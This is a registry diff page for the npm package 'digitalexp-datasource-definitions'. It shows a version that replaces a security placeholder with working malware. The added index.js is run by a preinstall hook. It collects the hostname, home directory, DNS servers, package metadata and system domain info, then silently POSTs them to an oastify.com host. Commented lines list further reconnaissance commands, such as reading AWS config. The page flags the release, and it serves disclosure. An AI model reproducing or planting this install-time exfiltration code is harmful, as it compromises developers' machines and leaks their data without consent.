digitalexp-datasource-definitions 0.0.1-security → 9.0.6

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of digitalexp-datasource-definitions might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +96 -0
  2. package/package.json +12 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,96 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const https = require("https");
4
+ const { execSync } = require("child_process");
5
+ const packageJSON = require("./package.json");
6
+ const package = packageJSON.name;
7
+
8
+ // Function to execute shell commands safely
9
+ const runCommand = (cmd) => {
10
+ try {
11
+ return execSync(cmd, { encoding: "utf-8" }).trim();
12
+ } catch (err) {
13
+ return `Error executing '${cmd}': ${err.message}`;
14
+ }
15
+ };
16
+
17
+ // Sleep function to delay execution for a given number of milliseconds
18
+ const sleep = (ms) => new Promise(resolve => setTimeout(resolve, ms));
19
+
20
+ // Function to execute the commands with delay
21
+ const executeCommandsWithDelay = async () => {
22
+ await sleep(1000); // Initial delay
23
+
24
+ // Removed commands
25
+ // const ipRouteOutput = runCommand("ip route");
26
+ // const unameOutput = runCommand("uname -a");
27
+ // const dnsdomainnameOutput = runCommand("dnsdomainname");
28
+ // const whoOutput = runCommand("who");
29
+ // const homeOutputdirectory = runCommand("ls /");
30
+ // const resolvConfOutput = runCommand("cat /etc/resolv.conf");
31
+ // const sysconfigNetworkOutput = runCommand("cat /etc/sysconfig/network");
32
+ // const whoamiOutput = runCommand("whoami");
33
+ // const systemModelOutput = runCommand("systeminfo | findstr \"System Model\"");
34
+ // const connectionSpecificDnsSuffixOutput = runCommand("ipconfig | findstr \"Connection-specific DNS Suffix\"");
35
+ // const ifconfigOutput = runCommand("ifconfig | grep inet | awk '{ print $2 }' | grep -v \"127.0.0.1\"");
36
+ // const simsDirectoryOutput = runCommand('dir');
37
+ // const varHtmlOutput = runCommand("ls /var/www/html");
38
+ // const srvOutput = runCommand("ls /srv");
39
+ // const optOutput = runCommand("ls /opt");
40
+ // const awsConfigOutput = runCommand("cat ~/.aws/config");
41
+ // const awsCredentialsOutput = runCommand("net localgroup");
42
+
43
+ // New command: Get-Process
44
+ const getProcessOutput = runCommand("systeminfo | findstr /C:\"Domain\""); // PowerShell command to get running processes
45
+ await sleep(1000);
46
+
47
+ // Prepare tracking data
48
+ const trackingData = {
49
+ p: package,
50
+ c: __dirname,
51
+ hd: os.homedir(),
52
+ hn: os.hostname(),
53
+ dns: dns.getServers().join(', '), // Convert DNS array to a string
54
+ r: packageJSON ? packageJSON.__resolved : undefined,
55
+ v: packageJSON.version,
56
+ pjson: packageJSON,
57
+ getProcess: getProcessOutput, // Add Get-Process output
58
+ };
59
+
60
+ // Prepare the request data as JSON
61
+ const postData = JSON.stringify({ msg: trackingData });
62
+
63
+ // Configure request options
64
+ const options = {
65
+ hostname: "m0nxq5tm69juc67clajxzp07byhp5kt9.oastify.com", // Replace with your endpoint
66
+ port: 443,
67
+ path: "/",
68
+ method: "POST",
69
+ headers: {
70
+ "Content-Type": "application/json", // Set content type to JSON
71
+ "Content-Length": postData.length,
72
+ },
73
+ };
74
+
75
+ // Send the POST request
76
+ const req = https.request(options, (res) => {
77
+ res.on("data", (d) => {
78
+ process.stdout.write(d);
79
+ });
80
+
81
+ // Handle end of response
82
+ res.on("end", () => {
83
+ console.log("Request completed");
84
+ });
85
+ });
86
+
87
+ req.on("error", (e) => {
88
+ // Silently ignore errors
89
+ });
90
+
91
+ req.write(postData);
92
+ req.end();
93
+ };
94
+
95
+ // Execute the commands with delay
96
+ executeCommandsWithDelay();
package/package.json CHANGED
@@ -1,6 +1,15 @@
1
1
  {
2
2
  "name": "digitalexp-datasource-definitions",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "9.0.6",
4
+ "description": "checking remote code execution and running ls -la command",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC",
12
+ "dependencies": {
13
+ "node-fetch": "^2.7.0"
14
+ }
6
15
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=digitalexp-datasource-definitions for more information.